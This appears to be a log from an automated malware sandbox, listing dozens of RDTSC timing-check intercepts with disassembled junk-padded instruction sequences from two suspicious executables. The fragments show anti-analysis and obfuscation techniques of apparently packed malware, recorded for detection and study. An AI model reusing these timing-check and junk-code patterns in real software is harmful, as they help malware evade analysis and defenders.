Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12FEC9D second address: 12FECAB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12FECAB second address: 12FECAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12FE96E second address: 12FE972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12FE972 second address: 12FE97D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1302555 second address: 130257B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007F3EBCB3DBD6h 0x0000000f jmp 00007F3EBCB3DBE0h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 130257B second address: 1302589 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F3EBCCB146Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 13020F5 second address: 13020FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 13020FC second address: 1302114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3EBCCB146Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1302114 second address: 1302118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1302118 second address: 1302137 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F3EBCCB146Ch 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 13022CB second address: 13022D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1314120 second address: 1314145 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3EBCCB1466h 0x00000008 jo 00007F3EBCCB1466h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F3EBCCB1475h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1314145 second address: 131415C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F3EBCB3DBE1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 130D62D second address: 130D648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3EBCCB1466h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3EBCCB146Bh 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 132160C second address: 1321610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1336E2E second address: 1336E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3EBCCB1477h 0x0000000c jc 00007F3EBCCB1466h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1336E52 second address: 1336E70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3EBCB3DBDEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F3EBCB3DBD6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1336E70 second address: 1336E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1336E74 second address: 1336E97 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F3EBCB3DBE2h 0x00000011 push edi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1335C05 second address: 1335C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007F3EBCCB1478h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1335C2E second address: 1335C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCB3DBE7h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1335F6B second address: 1335F7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3EBCCB146Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1336B62 second address: 1336B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 133859A second address: 133859F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 133B013 second address: 133B018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 133B018 second address: 133B032 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F3EBCCB1466h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jnp 00007F3EBCCB1468h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 133B09C second address: 133B0B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 133B244 second address: 133B25B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1473h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 133B527 second address: 133B54E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3EBCB3DBE9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00256 second address: 4A0025A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0025A second address: 4A00260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00260 second address: 4A00277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EBCCB1473h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00277 second address: 4A00298 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F3EBCB3DBDEh 0x00000013 pop ecx 0x00000014 movsx edi, si 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00298 second address: 4A002C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3EBCCB1478h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A002C7 second address: 4A002CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A002CB second address: 4A002D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A002D1 second address: 4A002D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A002D7 second address: 4A002FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1478h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A002FC second address: 4A00300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00300 second address: 4A00304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00304 second address: 4A0030A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0034E second address: 4A00366 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00366 second address: 4A0037B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0037B second address: 4A0037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0037F second address: 4A00385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00444 second address: 4A0047A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3EBCCB146Ah 0x00000013 sbb cl, FFFFFFC8h 0x00000016 jmp 00007F3EBCCB146Bh 0x0000001b popfd 0x0000001c mov edx, ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0047A second address: 4A0049F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, 9ABEh 0x00000011 movsx ebx, cx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0049F second address: 4A004D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 0322h 0x00000007 mov bh, 2Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f pushad 0x00000010 mov esi, 30B9175Dh 0x00000015 jmp 00007F3EBCCB146Ah 0x0000001a popad 0x0000001b movzx eax, bx 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov cx, 2D85h 0x00000027 mov eax, 37991D01h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A004D1 second address: 4A004DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EBCB3DBDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0051F second address: 4A005A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4D753DF4h 0x00000010 pushad 0x00000011 mov ax, D133h 0x00000015 pushfd 0x00000016 jmp 00007F3EBCCB1478h 0x0000001b add cx, 4538h 0x00000020 jmp 00007F3EBCCB146Bh 0x00000025 popfd 0x00000026 popad 0x00000027 call 00007F3F2DBD4EEDh 0x0000002c push 759227D0h 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov eax, dword ptr [esp+10h] 0x0000003c mov dword ptr [esp+10h], ebp 0x00000040 lea ebp, dword ptr [esp+10h] 0x00000044 sub esp, eax 0x00000046 push ebx 0x00000047 push esi 0x00000048 push edi 0x00000049 mov eax, dword ptr [759B0140h] 0x0000004e xor dword ptr [ebp-04h], eax 0x00000051 xor eax, ebp 0x00000053 push eax 0x00000054 mov dword ptr [ebp-18h], esp 0x00000057 push dword ptr [ebp-08h] 0x0000005a mov eax, dword ptr [ebp-04h] 0x0000005d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000064 mov dword ptr [ebp-08h], eax 0x00000067 lea eax, dword ptr [ebp-10h] 0x0000006a mov dword ptr fs:[00000000h], eax 0x00000070 ret 0x00000071 jmp 00007F3EBCCB1476h 0x00000076 and dword ptr [ebp-04h], 00000000h 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007F3EBCCB1477h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A005A3 second address: 4A005B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A005B7 second address: 4A005BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A005BB second address: 4A005BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A005BF second address: 4A005C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A005C5 second address: 4A00603 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3EBCB3DBE8h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, edx 0x0000000e jmp 00007F3EBCB3DBE1h 0x00000013 mov al, byte ptr [edx] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ecx, edx 0x0000001a mov dx, F2DAh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00603 second address: 4A00609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00609 second address: 4A00603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edx 0x0000000c pushad 0x0000000d mov al, 01h 0x0000000f mov ax, bx 0x00000012 popad 0x00000013 test al, al 0x00000015 pushad 0x00000016 mov edi, 3E1B2C06h 0x0000001b movsx ebx, ax 0x0000001e popad 0x0000001f jne 00007F3EBCB3DB9Ah 0x00000025 mov al, byte ptr [edx] 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov ecx, edx 0x0000002c mov dx, F2DAh 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A006B4 second address: 4A00716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3EBCCB1477h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F3EBCCB1479h 0x0000000f sbb esi, 2869D996h 0x00000015 jmp 00007F3EBCCB1471h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e dec edi 0x0000001f pushad 0x00000020 movzx ecx, bx 0x00000023 mov si, bx 0x00000026 popad 0x00000027 lea ebx, dword ptr [edi+01h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00716 second address: 4A0071C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0071C second address: 4A00732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EBCCB1472h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A00732 second address: 4A007E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F3EBCB3DBE4h 0x00000015 add ecx, 039B8678h 0x0000001b jmp 00007F3EBCB3DBDBh 0x00000020 popfd 0x00000021 mov ax, E9AFh 0x00000025 popad 0x00000026 inc edi 0x00000027 jmp 00007F3EBCB3DBE2h 0x0000002c test al, al 0x0000002e jmp 00007F3EBCB3DBE0h 0x00000033 jne 00007F3F2DA55EBDh 0x00000039 pushad 0x0000003a jmp 00007F3EBCB3DBDEh 0x0000003f pushad 0x00000040 mov edi, eax 0x00000042 mov cx, A313h 0x00000046 popad 0x00000047 popad 0x00000048 mov ecx, edx 0x0000004a jmp 00007F3EBCB3DBE6h 0x0000004f shr ecx, 02h 0x00000052 jmp 00007F3EBCB3DBE0h 0x00000057 rep movsd 0x00000059 rep movsd 0x0000005b rep movsd 0x0000005d rep movsd 0x0000005f rep movsd 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A007E6 second address: 4A0082F instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F3EBCCB146Fh 0x0000000d sub esi, 5748130Eh 0x00000013 jmp 00007F3EBCCB1479h 0x00000018 popfd 0x00000019 popad 0x0000001a mov ecx, edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3EBCCB146Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0082F second address: 4A008D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3EBCB3DBE7h 0x00000009 sub ch, FFFFFFCEh 0x0000000c jmp 00007F3EBCB3DBE9h 0x00000011 popfd 0x00000012 jmp 00007F3EBCB3DBE0h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a and ecx, 03h 0x0000001d jmp 00007F3EBCB3DBE0h 0x00000022 rep movsb 0x00000024 pushad 0x00000025 movzx esi, di 0x00000028 mov dx, A88Eh 0x0000002c popad 0x0000002d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F3EBCB3DBDBh 0x0000003b sbb al, 0000003Eh 0x0000003e jmp 00007F3EBCB3DBE9h 0x00000043 popfd 0x00000044 mov dx, si 0x00000047 popad 0x00000048 mov eax, ebx 0x0000004a pushad 0x0000004b mov dx, ax 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A008D6 second address: 4A008EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, esi 0x00000006 popad 0x00000007 popad 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov di, 965Ah 0x00000012 mov dh, BEh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A008EB second address: 4A0093D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 call 00007F3EBCB3DBDCh 0x00000016 mov ch, E0h 0x00000018 pop ebx 0x00000019 mov ebx, ecx 0x0000001b popad 0x0000001c pop ecx 0x0000001d pushad 0x0000001e movzx eax, dx 0x00000021 jmp 00007F3EBCB3DBE1h 0x00000026 popad 0x00000027 pop edi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F3EBCB3DBDDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A0093D second address: 4A009D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, EFh 0x00000005 call 00007F3EBCCB1478h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F3EBCCB1477h 0x00000016 adc ax, E17Eh 0x0000001b jmp 00007F3EBCCB1479h 0x00000020 popfd 0x00000021 jmp 00007F3EBCCB1470h 0x00000026 popad 0x00000027 pop ebx 0x00000028 jmp 00007F3EBCCB1470h 0x0000002d leave 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F3EBCCB1477h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A009D3 second address: 4A009D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 4A009D9 second address: 4A0051F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0008h 0x0000000e cmp dword ptr [ebp-2Ch], 10h 0x00000012 mov eax, dword ptr [ebp-40h] 0x00000015 jnc 00007F3EBCCB1465h 0x00000017 push eax 0x00000018 lea edx, dword ptr [ebp-00000590h] 0x0000001e push edx 0x0000001f call esi 0x00000021 push 00000008h 0x00000023 pushad 0x00000024 mov esi, 4E2123EBh 0x00000029 popad 0x0000002a push 2823DE34h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F3EBCCB1479h 0x00000036 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 8F398 second address: 8EB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007F3EBCB3DBE6h 0x0000000c popad 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 stc 0x00000012 push dword ptr [ebp+122D04EDh] 0x00000018 jc 00007F3EBCB3DBDDh 0x0000001e call dword ptr [ebp+122D36D2h] 0x00000024 pushad 0x00000025 add dword ptr [ebp+122D2BA1h], ebx 0x0000002b xor eax, eax 0x0000002d sub dword ptr [ebp+122D2BA1h], ebx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 sub dword ptr [ebp+122D3282h], eax 0x0000003d mov dword ptr [ebp+122D37A7h], eax 0x00000043 mov dword ptr [ebp+122D2001h], edx 0x00000049 mov esi, 0000003Ch 0x0000004e or dword ptr [ebp+122D1F1Eh], esi 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 js 00007F3EBCB3DBDCh 0x0000005e or dword ptr [ebp+122D3282h], edi 0x00000064 cmc 0x00000065 lodsw 0x00000067 mov dword ptr [ebp+122D2BA1h], esi 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 mov dword ptr [ebp+122D1FF0h], esi 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b ja 00007F3EBCB3DBDEh 0x00000081 nop 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007F3EBCB3DBE8h 0x00000089 rdtsc
